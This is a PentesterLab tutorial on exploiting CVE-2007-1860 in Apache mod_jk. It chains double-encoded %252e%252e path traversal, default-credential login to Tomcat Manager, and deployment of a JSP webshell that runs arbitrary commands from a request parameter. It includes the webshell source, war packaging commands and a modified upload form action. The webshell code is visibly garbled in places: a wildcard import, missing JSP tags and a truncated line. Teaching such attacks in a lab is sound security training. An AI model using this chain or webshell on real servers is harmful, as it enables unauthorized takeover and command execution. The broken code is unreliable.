CVE-2007-1860: mod_jk double-decoding

This exercise covers the exploitation of CVE-2007-1860. This vulnerability allows an attacker to gain access to inaccessible pages using crafted requests. This is a common trick that a lot of testers miss.

1-2 Hrs.
White Badge

This course details the exploitation of a vulnerability in mod_jk.

By using this vulnerability it is possible to access the administration interface of a Tomcat server (Tomcat's manager).

By using this access, we will see how an attacker can use default credentials to log in as an administrator and use this access to gain code execution on the server.

Tomcat and Apache

On Unix/Linux systems, Tomcat cannot be run on port 80 unless you start as root, which is not a good idea since Tomcat does not drop privileges and will be running as root (as opposed to Apache which drops privileges during startup).

However, to be available from most users, the server needs to be available on port 80 (or 443 for https), that is one of the reasons that developers use Apache to "proxy" the requests made to port 80, to Tomcat running on a higher port.

This configuration can also be used to:

  • Serve static content directly from Apache and limit Tomcat's load;
  • Load balance requests between two or more Tomcat servers.

The Apache and Tomcat servers can be on the same server or on different servers, this can be confusing once you gain command execution on the Tomcat server and realise that its configuration does not match what you see on the Apache end.

There are two common ways to "proxy" requests from Apache to Tomcat:

  • http_proxy: the requests are forwarded to Tomcat using the HTTP protocol.
  • ajp13: the requests are forwarded to Tomcat using the AJP13 protocol. This configuration is used in this exercise using the Apache module mod_jk.

Depending on the configuration and on the request processed, Apache will decide:

  • To process the request by itself:

mod_jk apache

  • To pass the request to Tomcat for processing:

mod_jk tomcat

For example, in the following Apache configuration snippet, all requests matching /jsp-examples/* will be forwarded to the Tomcat server worker1 to be processed.

jkMount  /jsp-examples/* worker1

It's important to understand which component handles a URL in order to exploit CVE-2007-1860. This can be easily discovered by using 404 error pages.

If you see an error page coming from Apache, for example if you try to access http://vulnerable/test404:

apache 404

You know that the request will be handled by Apache.

However, if you see the following 404 page (for the URL http://vulnerable/examples/jsp/test404):

apache 404

You know that the response comes from Tomcat (through Apache).

It seems trivial but keep that in mind when you will try to exploit CVE-2007-1860.


Our goal here is to gain access to the Tomcat Manager.

The Tomcat Manager is used to deploy web applications within Tomcat. Tomcat Manager is available at the following URI: /manager/html and is, most of the time, protected by a password (and should not be installed on production servers).

If you want to know more about the Tomcat manager, make sure you check our previous exercise

Accessing the Manager using CVE-2007-1860

If you look at the advisory, you can get more details on this vulnerability


This problem comes from the fact that both the web server (Apache using mod_jk) and the application server (Tomcat) will perform a decoding of the path provided by the client.

Our goal here is to provide a value that will be decoded twice and end up being ...

This issue is similar to a directory traversal, it can be used to access file/path that are not available otherwise.

If you read our previous exercise "Web for Pentester" (, you should be familiar with double decoding/encoding. You can find a quick summary below:

ValueURL encodingDouble URL encoding

Basically, . is encoded as %2e and the % in %2e is then re-encoded as %25. The value 25 does not need a second encoding.

If you provide this %252e to a vulnerable mod_jk, it will perform a first decoding and send the value %2e to Tomcat. Tomcat will then perform a second decoding to get the value .. If you use %252e%252e, you will then be able to send .. to Tomcat. If you try to send .. directly to Apache, it will not forward the request to Tomcat unless the path resolve to a path configured to be forwarded to Tomcat (using mod_jk).

Now, the next step is to find a path that:

  • Apache will send to Tomcat for processing.
  • Contains the double-encoding trick %252e%252e.
  • Contains the path /manager/html after the double-encoding to access the Tomcat administration interface.
Depending on what path you use, you may need to use the double-encoding trick more than once.

Once you find the right path, you should get prompted for credentials:


The credentials are one of the default ones. Once you guess them, you should be able to get access to the Tomcat Manager.

Even if the server does not use a vulnerable version of mod_jk or even if it does not use mod_jk at all make sure you try to access webapp/../manager/html and webapp/%252e%252e/manager/html. For the former, you will need to forge the request using a proxy or netcat since your browser is likely to normalise it to /manager/html. This trick also works for other application servers (JBoss, Glassfish...) since it's often cause by a misconfiguration of the frontend server. The main idea is to try to access the server's management interface using this trick if the management interface not directly exposed.
Deploying a Webshell

In this section, we are going to see how we can build and deploy a Webshell to gain command execution on the server.

Building a Webshell

To build a Webshell, we will need to write the Webshell and package it as a war file.

To write the Webshell, we can either use JSP or Servlet. To keep things simple, we are going to build a JSP Webshell, the following code can be used:

<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
<%@ page import="*" %>
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
<pre><%=output %></pre>

We can now create a directory name webshell and put our file (index.jsp) inside it:

$ mkdir webshell$ cp index.jsp webshell

Now we can build the war file using jar (provide with java):

$ cd webshell
$ jar -cvf ../webshell.war *
added manifest
adding: index.jsp(in = 579) (out= 351)(deflated 39%)

Our Webshell (webshell.war) is now packaged, and we can upload it using the Tomcat Manager.

Deploying your Webshell

Normally, you can use the following form to upload a war file:


If you tried to upload the war file by selecting the war file and just clicking deploy, you would have gotten a 404 page since the deployment URL does not use the double-encoding trick to gain access to the manager. To perform this deployment, you will need to get your browser to send the war to the right location.

There are 3 simple ways to bypass this issue:

  • Building a html page that will send the war to the right URL.
  • Modifying the request using a proxy.
  • Modifying the page using a browser extension like webdeveloper (or "Inspect Element" in Chrome).

The easiest way is to recreate the HTML by copying it from the original page, and changing the action attribute to exploit the double-encoding issue. The initial content of the HTML page should look similar to:

<form action="/manager/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data">
  <input type="file" name="deployWar" size="40">
  <input type="submit" value="Deploy">

Or (for Tomcat 7):

<form action="/examples/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data">
  <input type="file" name="deployWar" size="40">
  <input type="submit" value="Deploy">

And you need to get something similar to:

<form action="http://vulnerable/examples/jsp/%252e%252e/%252e%252e/manager/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data">
  <input type="file" name="deployWar" size="40">
  <input type="submit" value="Deploy">

Adding the full URL to the form action will allow you to save the file locally and use it to launch your attack.

Alternatively, using your browser "loper Tools", you can directly modify the HTML page to add the double-encoding trick to the form action:


Once the Webshell is deployed, you should see it in the Tomcat Manager:


Gaining Commands execution

If you click on the link in the manager interface, you will get an HTTP 404 error:

Webshell 404

Remember what we said about Apache errors vs Tomcat errors, here we can see that we are talking to Apache. You will need to use the double-encoding trick to access your Webshell and gain code execution:

commands exec


This exercise explained how to get access to the Tomcat manager using CVE-2007-1860.

Once you have access to the manager, you will need to guess the credentials.

Fortunately, the system administrator doesn't know that the manager can be accessed by external users and didn't bother changing the default credentials.

Once you have credentials, you can easily access the administration interface of the application server and deploy a custom web application to run arbitrary commands on the system.

I hope you enjoyed learning with PentesterLab.